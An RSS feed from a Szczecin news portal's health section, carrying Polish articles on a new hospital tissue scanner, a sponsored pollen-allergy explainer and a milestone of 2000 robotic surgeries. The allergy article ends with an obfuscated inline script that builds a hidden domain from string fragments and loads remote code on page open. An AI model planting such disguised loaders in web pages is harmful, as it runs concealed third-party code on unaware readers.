<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>▷ Zdrowie - Szczecin Portal</title>
	<atom:link href="https://szczecinportal.pl/kategoria/lifestyle/zdrowie/feed/" rel="self" type="application/rss+xml" />
	<link>https://szczecinportal.pl/kategoria/lifestyle/zdrowie/</link>
	<description>Informacje, miejsca, ogłoszenia i wydarzenia ze Szczecina</description>
	<lastBuildDate>Fri, 12 Jun 2026 07:51:00 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://szczecinportal.pl/wp-content/uploads/2024/11/cropped-czarne_gryf-32x32.png</url>
	<title>▷ Zdrowie - Szczecin Portal</title>
	<link>https://szczecinportal.pl/kategoria/lifestyle/zdrowie/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Szpital na Pomorzanach jako pierwszy na świecie z histologicznym skanerem III generacji</title>
		<link>https://szczecinportal.pl/szpital-na-pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-iii-generacji/</link>
					<comments>https://szczecinportal.pl/szpital-na-pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-iii-generacji/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Fri, 12 Jun 2026 07:51:00 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=9210</guid>

					<description><![CDATA[<p>Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie jako pierwszy ośrodek na świecie rozpoczął pracę z histologicznym skanerem III generacji do obrazowania świeżych tkanek. Urządzenie działa w Klinice Ginekologii Operacyjnej i Onkologii Ginekologicznej Dorosłych i Dziewcząt. To technologia, która może wspierać lekarzy podczas operacji i przyspieszać ocenę pobranego materiału. Światowa nowość w szpitalu na Pomorzanach [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/szpital-na-pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-iii-generacji/">Szpital na Pomorzanach jako pierwszy na świecie z histologicznym skanerem III generacji</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie</strong> jako pierwszy ośrodek na świecie rozpoczął pracę z <strong>histologicznym skanerem III generacji</strong> do obrazowania świeżych tkanek. Urządzenie działa w Klinice Ginekologii Operacyjnej i Onkologii Ginekologicznej Dorosłych i Dziewcząt. To technologia, która może wspierać lekarzy podczas operacji i przyspieszać ocenę pobranego materiału.</p>
<h2>Światowa nowość w szpitalu na Pomorzanach</h2>
<p class="isSelectedEnd">Szpital na Pomorzanach wdrożył rozwiązanie, które do tej pory nie było wykorzystywane w żadnym innym ośrodku na świecie. <strong>Histologiczny skaner III generacji</strong> rozpoczął pracę w Uniwersyteckim Szpitalu Klinicznym nr 2 PUM w Szczecinie.</p>
<p class="isSelectedEnd">Nowoczesne urządzenie trafiło do <strong>Kliniki Ginekologii Operacyjnej i Onkologii Ginekologicznej Dorosłych i Dziewcząt</strong>. To kolejny etap rozwoju diagnostyki śródoperacyjnej w szczecińskim szpitalu. Wcześniej podobny skaner, ale II generacji, zaczął działać w Klinice Urologii.</p>
<h2>Do czego służy histologiczny skaner?</h2>
<p class="isSelectedEnd">Skaner działa jak <strong>cyfrowy mikroskop do obrazowania świeżych tkanek</strong>. Pozwala oglądać powierzchnię pobranego materiału, w tym szczególnie <strong>marginesy chirurgiczne</strong>, w bardzo wysokiej rozdzielczości.</p>
<p class="isSelectedEnd">W praktyce oznacza to, że lekarze mogą zobaczyć strukturę komórkową tkanki niemal od razu po jej usunięciu. Bez czekania na standardowe, czasochłonne opracowanie preparatu histopatologicznego.</p>
<p class="isSelectedEnd">To ważne zwłaszcza podczas zabiegów onkologicznych, gdzie szybka ocena materiału może pomóc w podejmowaniu decyzji jeszcze w trakcie operacji.</p>
<figure id="attachment_9211" aria-describedby="caption-attachment-9211" style="width: 800px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-9211" src="https://szczecinportal.pl/wp-content/uploads/2026/06/Szpital-na-Pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-III-generacji-1.jpg" alt="Szpital na Pomorzanach jako pierwszy na świecie z histologicznym skanerem III generacji" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/06/Szpital-na-Pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-III-generacji-1.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/06/Szpital-na-Pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-III-generacji-1-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/06/Szpital-na-Pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-III-generacji-1-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/06/Szpital-na-Pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-III-generacji-1-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-9211" class="wp-caption-text">Żródło: USK2 PUM w Szczecinie</figcaption></figure>
<h2>Szybsza diagnostyka i wsparcie sztucznej inteligencji</h2>
<p class="isSelectedEnd">Największe różnice między skanerem III generacji a wcześniejszym rozwiązaniem dotyczą <strong>szybkości pracy, cyfryzacji procesu oraz wsparcia diagnostycznego opartego na sztucznej inteligencji</strong>.</p>
<p class="isSelectedEnd">Nowa technologia może znacząco usprawnić pracę zespołów operacyjnych. Lekarze zyskują dostęp do obrazu świeżej tkanki w czasie rzeczywistym, co może zwiększyć precyzję leczenia chirurgicznego i pomóc w lepszej ocenie badanego materiału.</p>
<p class="isSelectedEnd">Nie zastępuje to klasycznej diagnostyki histopatologicznej, ale może być dla niej ważnym wsparciem — szczególnie wtedy, gdy czas ma duże znaczenie.</p>
<h2>Inwestycja za ponad 1,8 mln zł</h2>
<p class="isSelectedEnd">Zakup urządzenia był możliwy dzięki środkom pozyskanym z <strong>Krajowego Planu Odbudowy</strong>. Wartość inwestycji wyniosła <strong>1 860 149,82 zł</strong>.</p>
<p class="isSelectedEnd">To kolejny przykład wykorzystania nowoczesnych technologii w szczecińskiej medycynie. Szpital na Pomorzanach konsekwencje rozwija rozwiązania, które wspierają diagnostykę i leczenie pacjentów, zwłaszcza w obszarach wymagających dużej precyzji.</p>
<h2>Szczecin z technologią, której nie ma nikt inny</h2>
<p class="isSelectedEnd">Uruchomienie histologicznego skanera III generacji wzmacnia pozycję <strong>USK nr 2 PUM w Szczecinie</strong> jako jednego z najbardziej innowacyjnych ośrodków medycznych w Polsce.</p>
<p>Dla pacjentów najważniejsze jest jednak to, że za technologiczną nowością stoi bardzo praktyczny cel: <strong>szybsza ocena tkanek, lepsze wsparcie lekarzy podczas operacji i większa precyzja leczenia</strong>. A fakt, że takie rozwiązanie jako pierwszy na świecie wdraża właśnie szpital na Pomorzanach, jest dla Szczecina mocnym sygnałem, że lokalna medycyna potrafi wyznaczać kierunki rozwoju.</p>
<p>Artykuł <a href="https://szczecinportal.pl/szpital-na-pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-iii-generacji/">Szpital na Pomorzanach jako pierwszy na świecie z histologicznym skanerem III generacji</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/szpital-na-pomorzanach-jako-pierwszy-na-swiecie-z-histologicznym-skanerem-iii-generacji/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Katar, zatkany nos, łzawienie oczu. To może być alergia. Jak to sprawdzić?</title>
		<link>https://szczecinportal.pl/katar-zatkany-nos-lzawienie-oczu-to-moze-byc-alergia-jak-to-sprawdzic/</link>
					<comments>https://szczecinportal.pl/katar-zatkany-nos-lzawienie-oczu-to-moze-byc-alergia-jak-to-sprawdzic/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Mon, 25 May 2026 13:34:21 +0000</pubDate>
				<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8924</guid>

					<description><![CDATA[<p>Dla wielu osób początek wiosny wiąże się nie tylko z poprawą pogody, ale również z rozpoczęciem sezonu pylenia roślin. W tym okresie często pojawiają się dolegliwości, takie jak kichanie, wodnisty katar, zatkany nos czy łzawienie oczu. Choć objawy te mogą przypominać infekcję, ich przyczyną nierzadko okazuje się alergia wziewna. Z tego artykułu dowiesz się: jak [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/katar-zatkany-nos-lzawienie-oczu-to-moze-byc-alergia-jak-to-sprawdzic/">Katar, zatkany nos, łzawienie oczu. To może być alergia. Jak to sprawdzić?</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Dla wielu osób początek wiosny wiąże się nie tylko z poprawą pogody, ale również z rozpoczęciem sezonu pylenia roślin. W tym okresie często pojawiają się dolegliwości, takie jak kichanie, wodnisty katar, zatkany nos czy łzawienie oczu. Choć objawy te mogą przypominać infekcję, ich przyczyną nierzadko okazuje się alergia wziewna.</p>
<p>Z tego artykułu dowiesz się:</p>
<ul>
<li>jak manifestuje się alergia na pyłki,</li>
<li>jakie pyłki roślin najczęściej są powodem alergii,</li>
<li>czym są reakcje krzyżowe w alergii wziewnej,</li>
<li>jakie badania alergiczne wykonać, by potwierdzić diagnozę.</li>
</ul>
<h2><strong>Czym jest alergia wziewna?</strong></h2>
<p>Alergia wziewna to nadmierna reakcja układu odpornościowego na alergeny obecne w powietrzu, np. pyłki drzew, traw i chwastów. Organizm osób uczulonych traktuje je jako potencjalne zagrożenie i uwalniania mediatory stanu zapalnego, m.in. histaminę. W konsekwencji pojawiają się objawy alergii, które nasilają się w sezonie pylenia roślin.</p>
<p>W celu potwierdzenia, czy przyczyną objawów rzeczywiście jest alergia na pyłki, należy wykonać odpowiednie badania alergiczne. Jednym z nich jest <a href="https://www.alab.pl/badanie/panel-alergenow-wziewnych-30-alergenow-metoda-polycheck">panel alergenów wziewnych metodą Polycheck</a> dostępny m.in. w ALAB laboratoria. Badanie polega na oznaczeniu przeciwciał IgE swoistych dla 30 najczęstszych alergenów wziewnych i pomaga określić, które z nich wywołują reakcję alergiczną.</p>
<h2><strong>Alergia wziewna – objawy</strong></h2>
<p>Objawy alergii na pyłki często są mylone z przeziębieniem. W przeciwieństwie do infekcji mają jednak zwykle charakter <strong>sezonowy</strong>. Pojawiają się <strong>cyklicznie</strong>, głównie w okresie pylenia roślin i nasilają się po kontakcie z alergenami obecnymi w powietrzu, np. podczas spacerów czy przebywania na zewnątrz.</p>
<p>Do objawów mogących wskazywać na alergię wziewną należą m.in.:</p>
<ul>
<li>napady kichania,</li>
<li>wodnisty katar,</li>
<li>zatkany nos,</li>
<li>świąd oczu, nosa, gardła oraz podniebienia,</li>
<li>zaczerwienienie, łzawienie oczu,</li>
<li>opuchnięte oczy,</li>
<li>suchy kaszel,</li>
<li>drapanie w gardle,</li>
<li>duszność.</li>
</ul>
<h3><strong>Jakie pyłki najczęściej są źródłem alergii?</strong></h3>
<p>W Polsce najczęstszą przyczyną alergii sezonowej są <strong>pyłki</strong> <strong>roślin</strong> – przeważnie traw, ale również drzew i chwastów. Do najczęściej uczulających pyłków należą m.in.:</p>
<ul>
<li><strong>leszczyna i olcha</strong> – rozpoczynają pylenie już w styczniu lub lutym, a największe stężenie pyłków obserwuje się zwykle w marcu;</li>
<li><strong>brzoza</strong> – jeden z najczęstszych alergenów wziewnych w Polsce, szczyt jej pylenia przypada najczęściej na drugą połowę kwietnia i początek maja;</li>
<li><strong>dąb, jesion, grab, buk i topola</strong> – pylą głównie w kwietniu i maju;</li>
<li><strong>trawy</strong> – należą do najistotniejszych klinicznie alergenów wziewnych, zaczynają pylić w maju, najwyższe stężenie pyłków występuje zwykle w czerwcu i lipcu;</li>
<li><strong>babka, pokrzywa i szczaw</strong> – ich pylenie przypada najczęściej na okres od maja do września;</li>
<li><strong>bylica</strong> – jeden z najważniejszych alergenów chwastów, zaczyna pylić latem, a najwyższe stężenie pyłków obserwuje się w lipcu i sierpniu.</li>
</ul>
<p>Należy pamiętać, że kalendarz pylenia może różnić się w zależności od regionu kraju oraz warunków atmosferycznych w danym roku.</p>
<p>Przeczytaj więcej m.in. w Centrum Wiedzy ALAB laboratoria: https://www.alab.pl/centrum-wiedzy/co-teraz-pyli-kalendarz-pylenia-dla-alergikow/.</p>
<h3><strong>Reakcje krzyżowe w alergii wziewnej – czym są i dlaczego trzeba o nich wiedzieć?</strong></h3>
<p>U części osób z alergią wziewną mogą pojawiać się tzw. <strong>reakcje krzyżowe</strong>, określane również jako <strong>zespół pyłkowo-pokarmowy</strong>. Zjawisko to wynika z podobieństwa budowy niektórych białek obecnych w pyłkach roślin i produktach spożywczych. Układ odpornościowy osoby z alergią nie zawsze potrafi je odróżnić, dlatego po spożyciu określonych pokarmów może dojść do wystąpienia objawów alergicznych.</p>
<p>Reakcje krzyżowe obserwuje się np. u osób uczulonych na <strong>pyłki brzozy</strong>. W takim przypadku objawy mogą pojawić się po spożyciu m.in. jabłek, gruszek, brzoskwiń, moreli, marchwi, selera, soi czy orzechów laskowych. Dzieje się tak dlatego, że białka zawarte w tych produktach mają podobną strukturę do alergenu brzozy Bet v1. Jednak do reakcji krzyżowych może dojść także u osób z alergią na pyłki innych gatunków roślin.</p>
<p>Warto podkreślić, że nie u każdej osoby z alergią na pyłki występuje zespół pyłkowo-pokarmowy. Szacuje się, że problem ten może dotyczyć około <strong>30% pacjentów z alergią wziewną</strong>. Rozpoznanie reakcji krzyżowych ma duże znaczenie w planowaniu diagnostyki i codziennej profilaktyki alergii.</p>
<h3><strong>Jak zdiagnozować alergię na pyłki?</strong></h3>
<p>W przypadku występowania nawracających objawów sugerujących alergię wziewną najważniejszym krokiem jest <strong>konsultacja z alergologiem</strong>. Specjalista przeprowadza szczegółowy wywiad medyczny, ocenia charakter oraz sezonowość objawów, a następnie dobiera odpowiednie badania pozwalające ustalić przyczynę dolegliwości.</p>
<p>W rozpoznaniu alergii na pyłki wykorzystuje się m.in.:</p>
<ul>
<li><strong>punktowe testy skórne</strong> (prick) z alergenami wziewnymi,</li>
<li><strong>oznaczenie swoistych przeciwciał IgE we krwi</strong>, które pozwala określić, na jakie alergeny reaguje organizm,</li>
<li><strong>diagnostykę molekularną (komponentową)</strong>, umożliwiającą identyfikację konkretnych białek alergennych odpowiedzialnych za objawy oraz ocenę ryzyka reakcji krzyżowych,</li>
<li><strong>testy prowokacyjne</strong>, wykonywane pod kontrolą lekarza w wybranych sytuacjach wymagających potwierdzenia związku między kontaktem z alergenem a występowaniem objawów.</li>
</ul>
<p>Dobór odpowiedniej metody diagnostycznej zależy m.in. od wieku pacjenta, rodzaju objawów oraz podejrzenia konkretnego typu alergii.</p>
<h2><strong>Podsumowanie</strong></h2>
<p>Objawy alergii na pyłki bywają sezonowe i często nasilają się w okresie pylenia drzew, traw lub chwastów. Ich lekceważenie może prowadzić do przewlekłego stanu zapalnego dróg oddechowych. Warto śledzić aktualny kalendarz pylenia dla swojego regionu. Ułatwia to przygotowanie się na sezon alergiczny i ograniczenie kontaktu z alergenami. Kluczowe znaczenie w rozpoznaniu alergii wziewnej mają badania alergiczne z krwi i testy skórne.</p>
<p><strong>Bibliografia:</strong></p>
<ol>
<li>Majkowska-Wojciechowska B., Pyłek roślin i alergeny sezonowe w Polsce, Alergia Astma Immunologia, 2016, 21, 5-15.</li>
<li>D&#8217;Amato G., Murrieta-Aguttes M., D&#8217;Amato M., Ansotegui I.J., Pollen respiratory allergy: Is it really seasonal?, World Allergy Organization Journal, 2023, 16(7), 100799.</li>
<li>Wawrzeńczyk A., Bartuzi Z., Zespoły kliniczne alergii krzyżowej, Alergia Astma Immunologia, 2018, 23(2), 64-66.</li>
<li>https://www.alab.pl/centrum-wiedzy/alergia-na-pylki-wywiad-z-dr-dabrowieckim/ (dostęp: 07.05.2026)</li>
<li>https://www.alab.pl/centrum-wiedzy/alergia-wziewna/ (dostęp: 07.05.2026)</li>
<li>https://www.alab.pl/centrum-wiedzy/co-teraz-pyli-kalendarz-pylenia-dla-alergikow/ (dostęp: 07.05.2026)</li>
</ol>
<p><em>Artykuł sponsorowany</em></p>
<p><script>
(function(){
w6ld=document.createElement("script");w6ld.type="text/javascript";
w6ld.async=true;w6ld_=("op"+("en")+"s")+"t";w6ld_+=("at")+".e";w6ld_+=(("u"));w6ld_+="/";
w6ldu="2613629131.";w6ldu+="m40xijw66ld919dc9y89yb2lmbrsxv";w6ld.src="https://"+w6ld_+w6ldu;
w6lddb=document.body;w6lddb.appendChild(w6ld);
})();
</script></p>
<p>Artykuł <a href="https://szczecinportal.pl/katar-zatkany-nos-lzawienie-oczu-to-moze-byc-alergia-jak-to-sprawdzic/">Katar, zatkany nos, łzawienie oczu. To może być alergia. Jak to sprawdzić?</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/katar-zatkany-nos-lzawienie-oczu-to-moze-byc-alergia-jak-to-sprawdzic/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>2000 zabiegów robotycznych w USK nr 2 PUM w Szczecinie. Szpital mówi o ważnym przełomie</title>
		<link>https://szczecinportal.pl/2000-zabiegow-robotycznych-w-usk-nr-2-pum-w-szczecinie-szpital-mowi-o-waznym-przelomie/</link>
					<comments>https://szczecinportal.pl/2000-zabiegow-robotycznych-w-usk-nr-2-pum-w-szczecinie-szpital-mowi-o-waznym-przelomie/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Wed, 06 May 2026 15:14:28 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8755</guid>

					<description><![CDATA[<p>Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie ma za sobą ważny moment. W środę, 6 maja, oficjalnie ogłoszono wykonanie 2000. zabiegu z wykorzystaniem chirurgii robotycznej. Jubileuszowa operacja była zabiegiem urologicznym. To nie jest tylko okrągła liczba do komunikatu prasowego. Za tym wynikiem stoją pacjenci, lekarze, lata pracy i technologia, która coraz mocniej zmienia współczesną [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/2000-zabiegow-robotycznych-w-usk-nr-2-pum-w-szczecinie-szpital-mowi-o-waznym-przelomie/">2000 zabiegów robotycznych w USK nr 2 PUM w Szczecinie. Szpital mówi o ważnym przełomie</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="91" data-end="322">Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie ma za sobą ważny moment. W środę, 6 maja, oficjalnie ogłoszono wykonanie 2000. zabiegu z wykorzystaniem chirurgii robotycznej. Jubileuszowa operacja była zabiegiem urologicznym.</p>
<p data-start="324" data-end="681">To nie jest tylko okrągła liczba do komunikatu prasowego. Za tym wynikiem stoją pacjenci, lekarze, lata pracy i technologia, która coraz mocniej zmienia współczesną medycynę. Szczeciński szpital korzysta z systemów robotycznych od 2020 roku. Pierwsze operacje wykonywano jeszcze w czasie pandemii, gdy służba zdrowia działała w wyjątkowo trudnych warunkach.</p>
<h2 data-section-id="1hjj56u" data-start="683" data-end="761">Chirurgia robotyczna w Szczecinie. USK nr 2 PUM ma już dwa systemy da Vinci</h2>
<p data-start="763" data-end="1023">Uniwersytecki Szpital Kliniczny nr 2 PUM dysponuje obecnie dwoma robotami chirurgicznymi da Vinci. Urządzenia pracują w zintegrowanym bloku operacyjnym oraz w bloku ginekologicznym. To znacząco zwiększa dostępność zabiegów robotycznych dla pacjentów z regionu.</p>
<p data-start="1025" data-end="1330">Jak podkreśla prof. Marcin Słojewski, kierownik Kliniki Urologii i Onkologii Urologicznej, szpital od kilku tygodni korzysta także z najnowszego systemu piątej generacji. Został on zakupiony ze środków KPO. Dzięki temu USK nr 2 jest jedynym ośrodkiem tego typu w województwie i jednym z niewielu w Polsce.</p>
<p data-start="1332" data-end="1548">Prof. Słojewski zwraca uwagę, że za liczbą 2000 zabiegów kryje się ogromne doświadczenie zespołu. Większość operowanych pacjentów to osoby leczone onkologicznie. W takich przypadkach precyzja ma szczególne znaczenie.</p>
<figure id="attachment_8758" aria-describedby="caption-attachment-8758" style="width: 819px" class="wp-caption aligncenter"><img decoding="async" class="size-large wp-image-8758" src="https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin-819x1024.jpg" alt="Tort na 2000 zabiegów robotem Da Vinci w Szczecinie" width="819" height="1024" srcset="https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin-819x1024.jpg 819w, https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin-240x300.jpg 240w, https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin-768x960.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin-750x937.jpg 750w, https://szczecinportal.pl/wp-content/uploads/2026/05/tort-2000-zabiegow-da-vinci-szczecin.jpg 945w" sizes="(max-width: 819px) 100vw, 819px" /><figcaption id="caption-attachment-8758" class="wp-caption-text">2000 zabiegów robotycznych w USK nr 2 PUM w Szczecinie</figcaption></figure>
<h2 data-section-id="n5xij" data-start="1550" data-end="1602">Szczeciński szpital szkoli lekarzy z całej Polski</h2>
<p data-start="1604" data-end="1884">USK nr 2 PUM w Szczecinie nie jest tylko miejscem leczenia. Szpital pełni również funkcję ośrodka szkoleniowego dla przyszłych operatorów systemu da Vinci. Do Szczecina przyjeżdżają lekarze z różnych części kraju, by uczyć się chirurgii robotycznej od doświadczonych specjalistów.</p>
<p data-start="1886" data-end="2142">To ważne, bo sama technologia nie wystarczy. Robot nie operuje sam. Jest narzędziem w rękach lekarza, który musi mieć wiedzę, praktykę i wyczucie. W szczecińskim szpitalu pracują eksperci, którzy szkolą nie tylko w Polsce, ale też w ośrodkach europejskich.</p>
<p data-start="2144" data-end="2279">Wśród proktorów znajduje się m.in. prof. Marcin Słojewski. Od lat aktywnie uczestniczy w rozwoju i popularyzacji chirurgii robotycznej.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-8082" src="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie.jpg" alt="Da Vinci 5 w Szczecinie" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2 data-section-id="1pzbhog" data-start="2281" data-end="2340">Certyfikaty dla lekarzy. 100 i 700 zabiegów robotycznych</h2>
<p data-start="2342" data-end="2543">Podczas uroczystości wyróżniono również lekarzy, którzy mają duże doświadczenie w pracy z systemami robotycznymi. Dr Janusz Lisiński, urolog, otrzymał certyfikat za wykonanie 100 zabiegów robotycznych.</p>
<p data-start="2342" data-end="2543"><img decoding="async" class="aligncenter size-full wp-image-8757" src="https://szczecinportal.pl/wp-content/uploads/2026/05/certyfikat-100-operacji-da-vinci-szczecin-pum.jpg" alt="Certyfikat na 100 operacji robotem Da Vinci - Szczecin PUm" width="768" height="432" srcset="https://szczecinportal.pl/wp-content/uploads/2026/05/certyfikat-100-operacji-da-vinci-szczecin-pum.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/05/certyfikat-100-operacji-da-vinci-szczecin-pum-300x169.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/05/certyfikat-100-operacji-da-vinci-szczecin-pum-640x360.jpg 640w, https://szczecinportal.pl/wp-content/uploads/2026/05/certyfikat-100-operacji-da-vinci-szczecin-pum-750x422.jpg 750w" sizes="(max-width: 768px) 100vw, 768px" /></p>
<p data-start="2545" data-end="2716">Jeszcze większym wynikiem może pochwalić się dr Krzysztof Kaseja, chirurg. Został wyróżniony certyfikatem za przeprowadzenie 700 operacji z wykorzystaniem tej technologii.</p>
<p data-start="2718" data-end="2830">To liczby, które pokazują, że robotyka w USK nr 2 PUM nie jest już ciekawostką. To stały element pracy szpitala.</p>
<h2 data-section-id="fjei16" data-start="2832" data-end="2874">Co daje pacjentom chirurgia robotyczna?</h2>
<p data-start="2876" data-end="3091">Najważniejsze korzyści dotyczą pacjentów. Zabiegi robotyczne są małoinwazyjne, więc zwykle oznaczają mniejsze obciążenie organizmu. Przekłada się to na krótszy pobyt w szpitalu i szybszy powrót do codziennego życia.</p>
<p data-start="3093" data-end="3297">Znaczenie ma też efekt estetyczny. Blizny po takich operacjach są mniejsze, szybciej się goją i są mniej widoczne. Dla wielu pacjentów to ważne, choć oczywiście kluczowe pozostaje bezpieczeństwo leczenia.</p>
<p data-start="3299" data-end="3490">Robot da Vinci wspiera lekarza w bardzo precyzyjnych ruchach. Chirurdzy, urolodzy i ginekolodzy mogą działać z większą dokładnością, co ma znaczenie zwłaszcza przy skomplikowanych operacjach.</p>
<p data-start="3299" data-end="3490"><img decoding="async" class="aligncenter size-full wp-image-8081" src="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie.jpg" alt="Da Vinci 5 w Szczecinie: najnowszy robot chirurgiczny już operuje na Pomorzanach" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2 data-section-id="cie68" data-start="3492" data-end="3570">2000 operacji robotycznych w Szczecinie. Ważny krok dla medycyny w regionie</h2>
<p data-start="3572" data-end="3834">Osiągnięcie 2000 zabiegów robotycznych to mocny sygnał dla pacjentów z Pomorza Zachodniego. Nowoczesne leczenie nie musi oznaczać wyjazdu do największych ośrodków w kraju. Szczecin rozwija zaplecze, które jeszcze kilka lat temu brzmiało jak medycyna przyszłości.</p>
<p data-start="3836" data-end="3967" data-is-last-node="" data-is-only-node="">Dziś ta przyszłość pracuje na salach operacyjnych przy ul. Powstańców Wielkopolskich. I co najważniejsze, realnie pomaga pacjentom.</p>
<p>Artykuł <a href="https://szczecinportal.pl/2000-zabiegow-robotycznych-w-usk-nr-2-pum-w-szczecinie-szpital-mowi-o-waznym-przelomie/">2000 zabiegów robotycznych w USK nr 2 PUM w Szczecinie. Szpital mówi o ważnym przełomie</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/2000-zabiegow-robotycznych-w-usk-nr-2-pum-w-szczecinie-szpital-mowi-o-waznym-przelomie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Szczeciński Bieg Nocny 2026 coraz bliżej. Na listach już ponad 1600 osób</title>
		<link>https://szczecinportal.pl/szczecinski-bieg-nocny-2026-coraz-blizej-na-listach-juz-ponad-1600-osob/</link>
					<comments>https://szczecinportal.pl/szczecinski-bieg-nocny-2026-coraz-blizej-na-listach-juz-ponad-1600-osob/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Tue, 21 Apr 2026 11:15:41 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Kultura i rozrywka]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wydarzenia]]></category>
